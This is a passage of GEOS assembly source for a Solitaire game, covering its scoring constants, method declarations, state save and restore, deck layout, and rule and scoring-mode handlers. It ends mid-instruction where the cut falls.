ONE_SECOND is the number of ticks per second ; ONE_SECOND = 60 ; ; The following constants are needed to set up STANDARD_SCORING ; INITIAL_STANDARD_SCORE = 0 SS_MINIMUM_SCORE = 0 ;min. score for STANDARD_SCORING VS_MINIMUM_SCORE = -25000 ;min. score for ST_VEGAS SS_HAND_PUSH = 0 SS_HAND_POP = 0 SS_HAND_FLIP = 0 SS_TALON_PUSH = 0 SS_TALON_POP = 5 ; ; the 'cost' of turning over the talon is computed by the formula ; points = 10 * (draw number) - 40 ; This means it costs 30 points for 1 card drawing, and 10 points ; for 3 card drawing. See PTSetupStandardScoring for details... ; SS_FOUNDATION_PUSH = 10 SS_FOUNDATION_POP = -10 SS_FOUNDATION_FLIP = 0 SS_TABLEAU_PUSH = 0 SS_TABLEAU_POP = 0 SS_TABLEAU_FLIP = 5 ; ; The user is penalized SS_POINTS_PER_TAX every SS_SECONDS_PER_TAX secs. ; SS_SECONDS_PER_TAX = 10 SS_POINTS_PER_TAX = -1 ; ; The following constants are used under ST_VEGAS ; INITIAL_VEGAS_SCORE = -52 ;initial score for ST_VEGAS (in $) VS_HAND_PUSH = 0 VS_HAND_POP = 0 VS_HAND_FLIP = 0 VS_TALON_PUSH = 0 VS_TALON_POP = 0 VS_TALON_FLIP = 0 VS_FOUNDATION_PUSH = 5 VS_FOUNDATION_POP = -5 VS_FOUNDATION_FLIP = 0 VS_TABLEAU_PUSH = 0 VS_TABLEAU_POP = 0 VS_TABLEAU_FLIP = 0 ;------------------------------------------------------------------------------ ; Definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Object Class include files ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Class & Method Definitions ;------------------------------------------------------------------------------ ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; METHODS ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SolitaireClass class GameClass MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI method MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS method MSG_SOLITAIRE_CASH_OUT method MSG_SOLITAIRE_CHECK_AUTO_FINISH_ENABLE method MSG_SOLITAIRE_AUTO_FINISH method MSG_SOLITAIRE_CHECK_FOR_WINNER method ; ; Checks whether or not the user has won the game yet, and ; if so sends a method to itself to produce the win effect. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_DEAL method ; ; Deals out a new game of solitaire by passing out cards from the ; hand to the tableau elements. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_GET_DRAW_NUMBER method ; ; Returns the number of cards that should be flipped over from the ; hand to the talon each time the user clicks on the hand. ; ; PASS: nothing ; ; RETURN: cl = # of cards to draw MSG_SOLITAIRE_GET_SCORING_TYPE method ; ; Returns the scoring mode that the game is being played under. ; ; PASS: nothing ; ; RETURN: cl = ScoringType MSG_SOLITAIRE_INITIALIZE_SCORE method ; ; Sets up the scoring mechanism for the game (i.e., each deck ; is informed of its point values, etc.) Also alters the score ; to reflect a new game. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_INITIALIZE_TIME method ; ; Clears the game time, stops any current timer, and starts a ; new timer. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_NEW_GAME method ; ; Cleans up any business from the preceeding game and initiates ; a new game. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_ONE_SECOND_ELAPSED method ; ; This method tells the game that yet another second has gone by. ; Solitaire increments its time counter and reflects the change ; on screen ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_INIT_DATA_FROM_UI method ; ; Initializes the game object's instance data from various UI gadgetry ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_QUERY_FLUSH_OK method ; ; Checks to make sure that the talon hasn't been ; flushed more than the number of cards that are flipped ; each time (under vegas scoring only). ; ; PASS: nothing ; ; RETURN: carry set if OK to flush MSG_SOLITAIRE_REDEAL method ; ; Begins a new game of solitaire by collecting all the cards, ; shuffling, redealing, etc. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SETUP_STANDARD_SCORING method ; ; Assigns the correct points to all the decks for standard scoring ; (see function header to SolitaireSetupStandardScoring for more). ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SETUP_ST_COUNTDOWN method MSG_SOLITAIRE_SET_COUNTDOWN_TIME method MSG_SOLITAIRE_SET_COUNTDOWN_TIME_AND_REDEAL method MSG_SOLITAIRE_USER_REQUESTS_COUNTDOWN_TIME_CHANGE method MSG_SOLITAIRE_SETUP_ST_VEGAS method ; ; Assigns the correct points to all the decks for vegas scoring ; (see function header to SolitaireSetupVegasScoring for more). ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_DRAW_NUMBER method ; ; Polls the UI gadgetry to determine how many cards the user wants ; played on each hand selection, and stores this number in the ; game's instance data. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_FADE_STATUS method ; ; Polls the UI gadgetry to determine whether the user wants cards ; to fade in at various times or not; stores this preference in the ; game's instance data in the form of fade masks. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SET_SOUND_STATUS method ; ; Checks the UI gadgetry to determine whether the user wants ; the various game sounds muted and stores this preference in the ; game's instance data. ; ; Pass: cx = 1 if mute selected, otherwise zero. ; Return: nothing MSG_SOLITAIRE_SET_RULES method ; ; Changes the game's deck objects so that they will accept ; cards on certain conditions; this has the effect of ; changing the game rules from, for example, beginner to ; advanced rules. ; ; PASS: cx = DeckDragWhichCards struct for tableau elements ; dx = DeckDragWhichCards struct for foundations ; ; RETURN: nothing MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE method MSG_SOLITAIRE_USER_REQUESTS_DRAW_NUMBER_CHANGE method MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE method MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL method MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL method MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL method MSG_SOLITAIRE_FIXUP_SCORING_TYPE_LIST method MSG_SOLITAIRE_FIXUP_DRAW_LIST method MSG_SOLITAIRE_FIXUP_USER_MODE_LIST method MSG_SOLITAIRE_SET_SCORING_TYPE method ; ; Polls the UI gadgetry to determine how the user wants the game ; to be scored, then sets up that mode. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_SPRAY_DECK method ; ; This method tells the game object to instruct one of its decks ; to do the cool can fan effect with any cards in its composite. ; ; PASS: cx = radius of the fan (in screen coordinates) ; dx = # of deck in composite to spray ; bp = gstate to spray through ; ; RETURN: nothing MSG_SOLITAIRE_TURN_TIME_OFF method ; ; Sets KI_timeStatus to TIME_OFF, disables any active timers, ; and disables the time displays. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_TURN_TIME_ON method ; ; Sets KI_timeStatus to TIME_ON, starts a timer, and enables the ; time display. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_UNDO method ; ; This method undoes the last card transfer, and sets the score ; to its previous value. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_UPDATE_TIME method ; ; Updates the time counter and tells the time display to indicate ; the change. ; ; PASS: cx = # of seconds to add to the time ; ; RETURN: nothing MSG_SOLITAIRE_UPDATE_TIMES_THRU method ; ; Updates the number of times the user has gone entirely through ; the hand. ; ; PASS: cx = incremental # of times (probably +1, sometimes ; -1 for undo) ; ; RETURN: nothing MSG_SOLITAIRE_WE_HAVE_A_WINNER method ; ; Records that the game has been won and displays the winning ; card fan, etc. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_RESET_SCORE method ; ; Resets score based on the scoring type. ; ; PASS: nothing ; ; RETURN: nothing MSG_SOLITAIRE_PLAY_SOUND method ; ; Plays a sound if the game sound is not muted. ; ; PASS: nothing ; Eventually, should be a handle or a constant ; that identifies which sound. ; ; RETURN: nothing ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; STRUCTURES, ENUMS, ETC. ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ScoringType is the scoring paradigm to be used when playing the ; game. ; ; HACK HACK HACK ; ; Make sure that the list entries in the scoring selection UI are in ; the same order as here ; ScoringType etype byte ST_STANDARD_TIMED enum ScoringType,0 ST_STANDARD_UNTIMED enum ScoringType,1 ST_VEGAS enum ScoringType,2 ST_COUNTDOWN enum ScoringType,3 ST_NONE enum ScoringType,4 ; ; TimeStatus indicates what state the timer is/should be in ; TimeStatus etype byte TIME_OFF enum TimeStatus,0 ;game is not timed TIME_ON enum TimeStatus ;timer is running normally TIME_PAUSED enum TimeStatus ;timer is paused (e.g., when ;the game is iconified) TIME_STOPPED enum TimeStatus ;timer has been stopped for ;this game (probably because ;the user has won). TIME_EXPIRED enum TimeStatus TIME_NOT_ACTIVE enum TimeStatus ;set when solitaire is not ;running in the foreground TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING enum TimeStatus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; VARIABLE DATA ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ATTR_SOLITAIRE_GAME_OPEN vardata byte ; indicates that the game object is open and has not yet been saved ; to state. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; ; INSTANCE DATA ; ; ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; KI_drawNumber byte KI_scoringType ScoringType KI_cash word KI_totalCountdownTime word KI_time word ;time (in seconds) KI_countdownTime word KI_timerHandle word KI_timeStatus TimeStatus KI_nTimesThru word KI_nFaceDownCardsInTableau word KI_muteSound byte ;non-zero to mute sound SolitaireClass endc SolitaireDeckClass class DeckClass SolitaireDeckClass endc ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Initialized variables and class structures ;------------------------------------------------------------------------------ if FULL_EXECUTE_IN_PLACE SolitaireClassStructures segment resource else idata segment endif SolitaireClass SolitaireDeckClass if FULL_EXECUTE_IN_PLACE SolitaireClassStructures ends else idata ends endif ;------------------------------------------------------------------------------ ; Uninitialized variables ;------------------------------------------------------------------------------ udata segment udata ends ;------------------------------------------------------------------------------ ; Code for SolitaireClass ;------------------------------------------------------------------------------ CommonCode segment resource ;start of code resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameSaveState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Solitaire method for MSG_GAME_SAVE_STATE Called by: MSG_GAME_SAVE_STATE Pass: *ds:si = Solitaire object ds:di = Solitaire instance Return: ^hcx - block of saved data dx - # bytes written Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGameSaveState method dynamic SolitaireClass, MSG_GAME_SAVE_STATE uses bp .enter mov ax, 5 * size word ; ; need to alloc N words + 1 (to indicate how many) in the block ; ; mov di, dx ; mov bx, cx mov cx, ALLOC_DYNAMIC_LOCK call MemAlloc ;returns ax = segment of block jc done mov es, ax ;es:di <- data clr di ; ; save our important stuff ; mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI call ObjCallInstanceNoLock mov si, ds:[si] add si, ds:[si].Solitaire_offset mov_tr ax, cx ;cx <- UI countdown secs stosw mov ax, ds:[si].KI_time stosw mov ax, ds:[si].KI_countdownTime stosw mov ax, ds:[si].KI_nTimesThru stosw mov ax, ds:[si].KI_nFaceDownCardsInTableau stosw call MemUnlock mov cx, bx mov dx, di done: .leave ret SolitaireGameSaveState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGameRestoreState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Description: Solitaire method for MSG_GAME_RESTORE_STATE Called by: MSG_GAME_RESTORE_STATE Pass: *ds:si = Solitaire object ds:di = Solitaire instance Return: ^hcx - block of saved data dx - # bytes written Destroyed: ax Comments: Revision History: Name Date Description ---- ------------ ----------- jon Feb 18, 1993 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireExtraSaveData struct SESD_totalCountdownSecs word SESD_time word SESD_countdownTime word SESD_nTimesThru word SESD_nFaceDownCardsInTableau word SolitaireExtraSaveData ends SolitaireGameRestoreState method dynamic SolitaireClass, MSG_GAME_RESTORE_STATE uses bp .enter ; ; Read our important stuff out ; mov bx, cx call MemLock jc done mov es, ax clr di ; mov di, dx mov cx, es:[di].SESD_totalCountdownSecs mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock mov cx, bx mov dx, di add dx, size SolitaireExtraSaveData mov bx, ds:[si] add bx, ds:[bx].Solitaire_offset mov ax, es:[di].SESD_nFaceDownCardsInTableau mov ds:[bx].KI_nFaceDownCardsInTableau, ax mov ax, es:[di].SESD_time mov ds:[bx].KI_time, ax mov ax, es:[di].SESD_countdownTime mov ds:[bx].KI_countdownTime, ax mov ax, es:[di].SESD_totalCountdownSecs mov ds:[bx].KI_totalCountdownTime, ax push cx, dx mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock pop cx, dx mov bx, cx call MemUnlock done: .leave ret SolitaireGameRestoreState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupStuff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SETUP_STUFF handler for SolitaireClass Does a few things that need to be done before playing the first game but do NOT need to be called for subsequent games. CALLED BY: PASS: nothing CHANGES: initializes data slots RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, di KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitDataFromUI method SolitaireClass, MSG_SOLITAIRE_INIT_DATA_FROM_UI .enter ; ; Read off the game's state from the menu gadgetry ; mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE call ObjCallInstanceNoLock ; ; The initial cash is -52, and the MSG_SOLITAIRE_NEW_GAME below ; is gonna charge another $52, so counter that here.. ; mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE call ObjCallInstanceNoLock cmp cl, ST_VEGAS jne setUserMode clr cx mov dx, INITIAL_VEGAS_SCORE neg dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock setUserMode: mov ax, MSG_GAME_SET_USER_MODE call ObjCallInstanceNoLock if _NDO2000 mov ax, MSG_GAME_SET_DRAG_TYPE call ObjCallInstanceNoLock endif mov ax, MSG_SOLITAIRE_SET_FADE_STATUS call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_SOUND_STATUS call ObjCallInstanceNoLock .leave ret SolitaireInitDataFromUI endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupGeometry %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SETUP_GEOMETRY handler for SolitaireClass Arranges the game's objects according to how big a card is (which should give some indication of screen resolution). PASS: cx = horizontal deck spacing dx = vertical deck spacing RETURN: nothing DESTROYED: ax REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupGeometry method dynamic SolitaireClass, MSG_GAME_SETUP_GEOMETRY cardWidth local word cardHeight local word .enter mov bx, ds:[di].GI_cardWidth mov ss:[cardWidth], bx mov bx, ds:[di].GI_cardHeight mov ss:[cardHeight], bx push cx, dx ;save spacing mov di, offset SolitaireClass call ObjCallSuperNoLock pop ax, di ;ax, di <- deck spacing ; ; Move all the decks to the right places. ; mov cx, 2 mov dx, 2 mov bx, handle MyHand mov si, offset MyHand call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle MyTalon mov si, offset MyTalon call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ss:[cardWidth] add cx, ax add cx, ax mov bx, handle Foundation1 mov si, offset Foundation1 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation2 mov si, offset Foundation2 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation3 mov si, offset Foundation3 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle Foundation4 mov si, offset Foundation4 call SolitairePositionDeck mov cx, 2 add dx, ss:[cardHeight] add dx, di mov bx, handle TE1 mov si, offset TE1 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE2 mov si, offset TE2 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE3 mov si, offset TE3 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE4 mov si, offset TE4 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE5 mov si, offset TE5 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE6 mov si, offset TE6 call SolitairePositionDeck add cx, ss:[cardWidth] add cx, ax mov bx, handle TE7 mov si, offset TE7 call SolitairePositionDeck .leave ret SolitaireSetupGeometry endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitairePositionDeck %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Computes a location from card size units to screen units, then moves a deck to that point. CALLED BY: SolitaireSetupGeometry PASS: ^lbx:si = deck to move bp,di = width, height units cx,dx = left, top position to move to in units of bp, di CHANGES: RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 12/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitairePositionDeck proc near uses ax, di .enter ; ; Move the deck to the newly calculated location ; mov ax, MSG_VIS_SET_POSITION mov di, mask MF_FIXUP_DS call ObjMessage .leave ret SolitairePositionDeck endp if _NDO2000 COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetDragType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: METHOS_SET_DRAG_TYPE handler for SolitaireClass Sets the drag mode to either outline or full dragging CALLED BY: PASS: cl = DragType bp low = ListEntryState (test for LES_ACTUAL_EXCL) CHANGES: RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: set GI_dragType, then either enable or disable the UserModeList, depending on whether we're setting full or outline dragging KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetDragType method SolitaireClass, MSG_GAME_SET_DRAG_TYPE CallObject DragList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL mov_tr cx, ax mov ax, MSG_GAME_SET_DRAG_TYPE mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass call ObjCallSuperNoLock ret SolitaireSetDragType endm endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetRules %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_RULES handler for SolitaireClass Changes the game's deck objects so that they will accept cards on certain conditions; this has the effect of changing the game rules from, for example, beginner to advanced rules. CURRENT RULES (12/5/90): Beginner: * Cards can be moved out of foundations. * Face up sequences can be split up to drag Intermediate: * Cards can not be moved out of foundations * Face up sequences can be split up to drag Advanced: * Cards can not be moved out of foundations * Face up sequences can not be split up to drag CALLED BY: PASS: cx = DeckDragWhichCards structure to pass to tableauElements dx = DeckDragWhichcards structure to pass to foundations EXAMPLE: For BEGINNER_MODE, pass in: cx = DDWC_UNTIL_SELECTED dx = DDWC_TOP_ONLY After the handler is through, the tableau elements will allow the user select any of its up cards, and the foundations will allow the user to drag their top cards around, which is what we expect in BEGINNER_MODE. In contrast, setting up ADVANCED_MODE, we would pass: cx = DDWC_TOP_OR_UPS dx = DDWC_NONE Which would make the tableau elements' up cards accessible for dragging only as entire groups, and would make the foundations' cards unaccessible to dragging. CHANGES: all tableauElements get the passed DDWC (OR'd with DA_IGNORE_EXPRESS_DRAG) RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: * Combine the DDWC in cx with the "ignore express drag" bit and send it to the tableau elements * Combine the DDWC in dx with the "ignore double click" bit and send it to the foundations KNOWN BUGS/IDEAS: I decided pretty randomly that foundations should not transfer cards when double clicked since all this could ever do is just move aces around from foundation to foundation. If the user REALLY wants to do this, he can damn well drag them around REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetRules method SolitaireClass, MSG_SOLITAIRE_SET_RULES push dx ; ; Turn the DDWC into a DeckAttrs ; mov dx, cx mov cl, offset DA_DDWC shl dx, cl ORNF dx, mask DA_IGNORE_EXPRESS_DRAG mov cx, dx ; ; Ship of the new DeckAtttrs to the tableauElements ; mov ax, MSG_DECK_SET_ATTRS call CallTableauElements ; ; Turn the DDWC into some DeckAttrs ; pop dx mov cl, offset DA_DDWC shl dx, cl ORNF dx, mask DA_IGNORE_DOUBLE_CLICKS mov cx, dx ; ; Send the DeckAttrs off to the foundations ; mov ax, MSG_DECK_SET_ATTRS call CallFoundations ret SolitaireSetRules endm CallFoundations proc near push ax mov bx, handle Foundation1 mov si, offset Foundation1 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle Foundation2 mov si, offset Foundation2 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle Foundation3 mov si, offset Foundation3 mov di, mask MF_FIXUP_DS call ObjMessage pop ax mov bx, handle Foundation4 mov si, offset Foundation4 mov di, mask MF_FIXUP_DS call ObjMessage ret CallFoundations endp CallTableauElements proc near push ax mov bx, handle TE1 mov si, offset TE1 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE2 mov si, offset TE2 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE3 mov si, offset TE3 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE4 mov si, offset TE4 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE5 mov si, offset TE5 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE6 mov si, offset TE6 mov di, mask MF_FIXUP_DS call ObjMessage pop ax mov bx, handle TE7 mov si, offset TE7 mov di, mask MF_FIXUP_DS call ObjMessage ret CallTableauElements endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetUserMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_USER_MODE handler for SolitaireClass Sets the User mode for the game, which in turn causes a change in the rules for the decks. See commentation to SolitaireSetRules. CALLED BY: PASS: cl = UserMode CHANGES: KI_userMode <- cl RETURN: nothing DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetUserMode method SolitaireClass, MSG_GAME_SET_USER_MODE ; ; Get the user mode ; CallObject UserModeList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL mov_tr cx, ax mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SET_USER_MODE call ObjCallSuperNoLock ; ; Now we'll set the rules by changing the DDWC's of the ; tableau elements and the foundations ; mov bl, cl mov cx, DDWC_TOP_OR_UPS mov dx, DDWC_NONE cmp bl, ADVANCED_MODE je setRules mov cx, DDWC_UNTIL_SELECTED cmp bl, INTERMEDIATE_MODE je setRules mov dx, DDWC_TOP_ONLY setRules: mov ax, MSG_SOLITAIRE_SET_RULES call ObjCallInstanceNoLock done:: ret SolitaireSetUserMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGetScoringType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_GET_SCORING_TYPE handler for SolitaireClass Returns the scoring mode of the game. CALLED BY: PASS: nothing CHANGES: RETURN: cl = ScoringType DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGetScoringType method SolitaireClass, MSG_SOLITAIRE_GET_SCORING_TYPE mov cl, ds:[di].KI_scoringType ret SolitaireGetScoringType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetScoringType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_SCORING_TYPE handler for SolitaireClass Sets the scoring type for the game CALLED BY: PASS: cl = ScoringType CHANGES: KI_scoringType <- cl RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: set scoring type if scoring type is ST_NONE, disable score diplays else enavle score displays KNOWN BUGS/IDEAS: when score displays (or time displays) are enabled, the geometry is screwed until you resize the window REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetScoringType method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE ; ; Get scoring mode ; push si mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov bx, handle ScoringList mov si, offset ScoringList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ;aX <- excl = ScoringType pop si mov_tr cx, ax mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_scoringType, cl push si mov ax, MSG_GEN_SET_USABLE mov bx, handle ScoreDisplay mov si, offset ScoreDisplay mov di, mask MF_FIXUP_DS mov dl, VUM_NOW cmp cl, ST_VEGAS jle hideOrShowDisplay mov ax, MSG_GEN_SET_NOT_USABLE hideOrShowDisplay: call ObjMessage pop si CheckHack <ST_STANDARD_TIMED eq 0 > mov ax, 